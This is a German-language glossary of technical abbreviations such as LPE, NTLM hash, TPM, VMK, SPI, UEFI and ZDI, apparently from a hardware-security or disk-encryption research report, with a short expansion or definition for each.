LPC Low Pin Count
LPE Local Privilege Escalation
NT New Technology (ursprünglich N-Ten)
NTFS New Technology File System
NTLM hash New Technology LAN Manager hash
NVMe Nonvolatile Memory Express
PDF Portable Document Format
PH Phillips-Recess
Pin Kontaktstift, äußere Anschlussstelle eines Chips
PIN Personal Identification Number
PoC Proof of Concept
RAM Random Access Memory
RID Relative Identifier
SGX Software Guard Extensions
SOIC Small Outline Integrated Circuit
SPI Serial Peripheral Interface
TCG Trusted Computing Group
TPM Trusted Platform Module
UEFI Unified Extensible Firmware Interface
UID User Identifier
USB Universal Serial Bus
VMK Volume Master Key
WSON Very-very-thin small-outline no-lead package
ZDI Zero Day Initiative